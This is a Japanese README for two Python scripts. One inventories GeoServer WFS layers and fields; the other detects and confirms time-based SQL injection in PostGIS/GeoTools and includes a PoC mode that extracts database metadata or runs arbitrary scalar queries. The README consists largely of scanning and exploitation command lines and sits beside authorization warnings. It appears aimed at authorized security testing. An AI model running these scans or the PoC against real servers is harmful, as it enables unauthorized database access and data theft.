
Pythonスクリプトで、GeoServer WFSエンドポイントのインベントリ化と、PostGIS/GeoToolsにおける時間ベースのSQLインジェクション脆弱性の検証を行います。認可されたテスト専用のPoCモードを備えています。
このリポジトリには、GeoServer WFS エンドポイントを調査するための2つのPythonスクリプトが含まれています。
wfs_inventory.py目的: レイヤー、XSDフィールド、WFS値をインベントリし、候補をオプションで時間ベースのチェックにより検証します。
実行例:
python3 wfs_inventory.py --url https://HOST --valid-fields 4
python3 wfs_inventory.py --url https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5 --candidate-scope auto --timing-result-type auto
python3 wfs_inventory.py --url https://HOST --layer namespace:layer --sleep 1 --confirm-sleep 5 --valid-diagnose output.txt
geoserver_sqli_working.py目的: インベントリのための統合エントリポイント、および独立したPoCモード。
実行例:
python3 geoserver_sqli_working.py --target https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5 --query "SELECT current_database()"
重要な注意: 時間ベースのチェックとPoCモードは、明示的なテスト許可が存在するシステムに対してのみ使用してください。通常のインベントリモードでは、通常のWFS操作のみを使用します。
オプションで実行可能にする場合:
chmod +x wfs_inventory.py geoserver_sqli_working.py
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4
デフォルトのパス /geoserver/wfs が自動的に追加されます。したがって、以下の指定は同等です:
https://HOST
https://HOST/geoserver
https://HOST/geoserver/wfs
異なるインストールの場合は、完全なWFSパスを指定する必要があります。
明示的に認可されたシステムのみ:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1
チェック中、候補ごとに測定結果が stderr に表示されます:
[sleep-check] phase=screen typeName=namespace:layer field_name=FIELD resultType=hits baseline=0.120s test=1.128s delta=1.008s passed=true
[sleep-check] phase=confirm typeName=namespace:layer field_name=FIELD resultType=hits requested=3s baseline=0.118s test=3.125s delta=3.007s vulnerable=true
スクリーンに合格しただけでは陽性の所見ではありません。2番目のより長い測定も合格した場合のみ、パラメータブロックが出力されます。
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1 \
--valid-diagnose output.txt
--valid-diagnose FILE は詳細な診断を自動的に有効にし、指定されたファイルに書き込みます。
デフォルトモード auto は、WFS情報を次の順序で処理します:
GetCapabilities が一度開かれます:
/geoserver/wfs?service=WFS&acceptVersions=2.0.0&request=GetCapabilities
XMLレスポンスがストリーミングされます。FeatureType/Name が見つかるとすぐに、次の typeName が確定します。
このレイヤーに対して、version=2.0.0 で直ちに DescribeFeatureType が実行されます。
スクリプトはXSD要素を抽出し、IDまたは番号に似た名前を持つ文字列/JSONフィールドを選択します。
候補は呼び出しに応じてチェックされます:
--sleep なし: サンプル値が構文的に有効なJSONである必要があります。--sleep N あり: コントロールリクエストと時間ベースのチェックリクエストが測定されます。JSON値チェックはスキップされます。結果は即座に出力され、フラッシュされます。
その後、実行中の GetCapabilities レスポンスから次の typeName が読み取られます。
これにより、最初の結果が表示される前に大きな GetCapabilities レスポンスを完全に処理する必要がなくなります。
--sleep なしの場合、自動モードはデフォルトでIDまたは番号に似た名前を持つ文字列/JSONフィールドを考慮します。
一方、--sleep ありの場合、--candidate-scope auto はすべての単純な非ジオメトリフィールドを使用します。XSDタイプとID名パターンは、タイミングチェックをブロックしなくなります。これにより、数値、日付/ブール、またはベンダー固有のXSDタイプでの偽陰性が防止されます。
認識される名前パターンには以下が含まれます:
id
*_id
*_fid
nr_*
*_nr
*nummer*
fid
uuid
guid
key
objectid
時間ベースのチェックでは、フィールド名はさらに [A-Za-z_][A-Za-z0-9_]* 形式の単純な識別子である必要があります。
--sleep なしの場合、観測された値が構文的にJSONとして解釈できるかどうかがチェックされます。したがって、例えば文字列 "383205" も候補と見なされます。その内容が有効なJSON数値を表すためです。このチェックはヒューリスティックであり、脆弱性の証明ではありません。
--sleep 1 ありの場合、時間測定のみが決定します。候補は、チェックリクエストがコントロールリクエストに対して要求されたスリープ時間の少なくとも70パーセントを追加で必要とする場合、デフォルトで陽性と見なされます。--timing-result-type auto は最初に resultType=hits をチェックし、陰性の結果の場合は続いて resultType=results をチェックします。
暫定的に陽性の測定は、必ずより長いスリープ時間で確認されます。明示的な --confirm-sleep がない場合、スクリプトは max(3, --sleep * 3) を使用し、10秒に制限されます。これにより、--sleep 1 での単一のレイテンシスパイクが vulnerable=true につながらなくなります。
標準出力には、有効なレイヤーごとに1つのブロックが含まれます:
typeName=namespace:layer
field_name1=FIELD_A
parameter_string1=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_A
field_name2=FIELD_B
parameter_string2=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_B
parameter_stringN には、正規化されたWFSエンドポイントと、--typename および --field_name の適切な値が含まれます。
--valid-fields N は、個々のフィールドではなくレイヤーブロックをカウントします。N 個未満の有効なレイヤーが存在する場合、残りのカタログが引き続き調査されます。--max-layers を使用すると、最大実行時間を制限できます。
--diagnose または --valid-diagnose FILE オプションは、以下を追加します:
GetCapabilities URL、DescribeFeatureType URL、GetFeature URL、および例:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 10 \
--valid-diagnose diagnose.txt
python3 wfs_inventory.py \
--url https://HOST \
--mode layers
ネームスペースに制限:
python3 wfs_inventory.py \
--url https://HOST \
--mode layers \
--namespace fink
python3 wfs_inventory.py \
--url https://HOST \
--mode fields \
--layer namespace:layer
各フィールドは、名前、XSDタイプ、nillable、id_candidate、usable_property を含むJSONオブジェクトとして出力されます。
python3 wfs_inventory.py \
--url https://HOST \
--mode values \
--layer namespace:layer \
--field FIELD_A \
--field FIELD_B \
--max-features 100 \
--format jsonl \
--output values.jsonl
すべてのプロパティをエクスポート:
python3 wfs_inventory.py \
--url https://HOST \
--mode values \
--layer namespace:layer \
--all-properties \
--max-features 100
--unique を使用すると、選択したフィールド値の同一の組み合わせが一度だけ出力されます。
wfs_inventory.py のパラメータ| パラメータ | デフォルト | 意味 |
|---|---|---|
--url URL | 必須 | ホスト、GeoServerベース、または完全なWFSエンドポイント |
--mode auto|layers|fields|values | auto | 実行する操作モード |
--layer NAMESPACE:LAYER | – | オートモードを1つのフィーチャータイプに制限。fields と values には必須 |
--namespace PREFIX | – | このネームスペースプレフィックスのレイヤーのみを考慮 |
--capabilities-file FILE | – | ダウンロードの代わりにローカルのGetCapabilitiesレスポンスを使用 |
--field NAME | 繰り返し可能 | values モードでエクスポートするプロパティ |
--all-properties | オフ | values モードですべてのプロパティをエクスポート |
--unique | オフ | 重複するフィールド値の組み合わせを抑制 |
--page-size N | 500 | GetFeatureページあたりのフィーチャー数。範囲は1〜5000 |
--sample-size N | 5 | JSON構文チェック用のレイヤーあたりのサンプル値数。範囲は1〜100 |
--sleep SECONDS | 0 | 時間ベースの検証を有効化。0 または1〜10秒が許可 |
--candidate-scope auto|id|all | auto | 候補選択。auto はスリープなしでIDフィールド、スリープありですべての非ジオメトリフィールドを使用 |
--timing-result-type auto|hits|results | auto | タイミングチェックのクエリパス。auto は hits を試し、その後 results を試す |
--sleep-threshold RATIO | 0.7 | 必要なスリープ時間の割合。範囲は0.5〜1.0 |
--confirm-sleep SECONDS | 0/自動 | 確認スリープ。0 は最初のスリープ時間の少なくとも3倍を使用。範囲は1〜10 |
geoserver_sqli_working.py はインベントリ機能を直接呼び出すことができます。--valid-fields が指定されると、インベントリのみが実行され、プログラムはその後終了します。
python3 geoserver_sqli_working.py \
--target https://HOST \
--valid-fields 4 \
--sleep 1 \
--valid-diagnose output.txt
この際、以下のパラメータが内部的に wfs_inventory.py に渡されます:
--target -> --url
--valid-fields -> --valid-fields
--valid-diagnose -> --valid-diagnose
--sleep -> --sleep
--candidate-scope -> --candidate-scope
--timing-result-type -> --timing-result-type
--sleep-threshold -> --sleep-threshold
--confirm-sleep -> --confirm-sleep
明示的な --sleep がない場合、インベントリモードでは時間ベースのチェックは無効のままです。
明示的に認可されたテストシステムのみ:
python3 geoserver_sqli_working.py \
--target https://HOST/geoserver/wfs \
--typename namespace:layer \
--field_name FIELD \
--sleep 5
PoCモードでは、ターゲットパスは自動的に正規化されません。ここでは完全なWFSエンドポイントを指定する必要があります。
このモードは、最初にベースライン/スリープテストを実行し、次に既存の時間ベースのOracleバリアントをテストし、確認が成功するとデフォルトでサーバー/データベースメタデータを読み取ります。--query を使用すると、代わりに独自のスカラークエリを指定できます。
PoCモードは現在、内部的にTLS証明書検証を無効化します。純粋なインベントリには、TLSがデフォルトで検証される
wfs_inventory.pyを優先的に使用してください。
geoserver_sqli_working.py のパラメータ| パラメータ | デフォルト | 意味 |
|---|---|---|
--target URL | 必須 | ターゲットホストまたはWFSエンドポイント。PoCモードでは完全なWFSパスを使用 |
--typename NAME | fink_bku:fink_meta_mitte_suedwest | PoCモードのフィーチャータイプ |
--field_name NAME | PoCモードで必須 | jsonArrayContains 用の単純なXSDフィールド名 |
--field-name NAME | エイリアス | --field_name のエイリアス |
--valid-fields N | – | インベントリモードを有効にし、N個の有効なレイヤー後に停止 |
--valid-diagnose FILE | – | 詳細なインベントリレポートをFILEに書き込む。--valid-fields が必要 |
--sleep SECONDS | PoC: 5、インベントリ: オフ | 各モードのスリープ時間 |
--candidate-scope auto|id|all | auto | インベントリモードの候補選択 |
--timing-result-type auto|hits|results | auto | インベントリモードのタイミングクエリパス |
--sleep-threshold RATIO | 0.7 | インベントリモードのタイミングしきい値 |
--confirm-sleep SECONDS | 自動 | インベントリモードの確認スリープ |
--query SQL | – | PoCモードの独自のスカラークエリ |
--debug | オフ | PoCモードで条件、実行時間、決定を表示 |
オートモードは、テキストブロックの代わりにJSON Linesを生成できます:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 10 \
--report-format jsonl \
--output report.jsonl
--diagnose を使用すると、各レコードにURL、候補メタデータ、チェック値、フィールド固有のGetFeature URLが追加で含まれます。
プロキシを使用:
python3 wfs_inventory.py \
--url https://HOST \
--proxy http://127.0.0.1:8080 \
--valid-fields 4
独自のプロキシCAを信頼:
python3 wfs_inventory.py \
--url https://HOST \
--proxy http://127.0.0.1:8080 \
--proxy-ca proxy-ca.pem \
--valid-fields 4
認可されたテストシステムのTLSチェックを無効化:
python3 wfs_inventory.py \
--url https://HOST \
--insecure \
--valid-fields 4
--proxy-ca と --insecure は同時に使用できません。
大きなGetCapabilitiesレスポンスの場合、以下のオプションが役立ちます:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--max-layers 100 \
--sample-size 1 \
--timeout 10 \
--retries 0 \
--delay 0
注意事項:
GetCapabilities は一度だけ要求され、その後ストリーミングされます。--valid-fields 4 は、4つの有効なレイヤーの後にのみスキャンを終了します。ヒットが少ない場合、検索は最後まで、または --max-layers まで実行されます。--sample-size 1 はJSONヒューリスティックの負荷を軽減します。--timing-result-type auto では、hits の陰性結果の後に、追加で2つの results リクエストが実行されます。--candidate-scope id はタイミングリクエストの数を減らしますが、他の名前を持つ脆弱なフィールドを見逃す可能性があります。--namespace と --start-layer-index は、検索空間をさらに制限できます。The read operation timed out--timeout を増やします。--retries 0 を設定します。--max-layers と --namespace を使用します。--sample-size 1 を使用します。--sleep なしの場合、候補は --candidate-scope に応じてXSD/名前チェックとJSON構文チェックに合格する必要があります。--sleep ありの場合、時間的に確認された候補のみがパラメータブロックとして出力されます。陰性の測定は [sleep-check] として stderr に表示されます。--max-layers を設定します。Cannot do natural order without a primary key最初のGetFeatureページでは、スクリプトは startIndex=0 を送信しません。一部のGeoServer/JDBCレイヤーは、プライマリキーなしでも自然な順序を強制するためです。追加ページのエクスポート時には、そのようなレイヤーはプライマリキーまたはサーバー側でサポートされるソートを必要とする場合があります。
schema does not define ...Typeスクリプトは、通常の <LayerName>Type と、グローバルなXSDレイヤー要素で参照される異なるタイプまたは匿名の complexType の両方を考慮します。エラーが続く場合は、関連する DescribeFeatureType レスポンスを --diagnose で確認する必要があります。
完全なOWSエラーメッセージが stderr に出力されます。一般的な原因は、サポートされていないプロパティ、サーバー側のページング設定、またはレイヤー固有のデータソース構成です。
python3 wfs_inventory.py --help
python3 geoserver_sqli_working.py --help
--start-layer-index N0 |
| 最初のN個のストリーミングされたレイヤーをスキップ |
--max-layers N | 0 | 最大Nレイヤーを処理。0 は無制限 |
--valid-fields N | 0 | N個の有効なレイヤーブロック後に停止。0 は無制限 |
--valid N | エイリアス | --valid-fields の後方互換エイリアス |
--max-features N | 0 | values モードでNフィーチャー後に停止。0 は無制限 |
--format jsonl|csv|text | jsonl | values モードの出力形式 |
--output FILE | stdout | レポートまたは値をファイルに書き込む |
--report-format blocks|jsonl | blocks | オートレポートの形式 |
--diagnose | オフ | URL、タイプ、選択フラグ、チェック統計を追加 |
--valid-diagnose FILE | – | 診断を有効にし、FILEに直接書き込む |
--delay SECONDS | 0.1 | 結果/チェックステップ間の一時停止 |
--timeout SECONDS | 30 | HTTPリクエストあたりのタイムアウト |
--retries N | 2 | タイムアウトまたはネットワークエラー後の再試行。範囲は0〜10 |
--proxy URL | – | HTTP(S)プロキシ。例: http://127.0.0.1:8080 |
--proxy-ca FILE | – | プロキシ証明書を信頼するためのPEM CA証明書 |
--insecure | オフ | TLS証明書検証を無効化 |
--authorization TEXT | I_AM_AUTHORIZED | セキュリティ確認。正確に I_AM_AUTHORIZED である必要があります |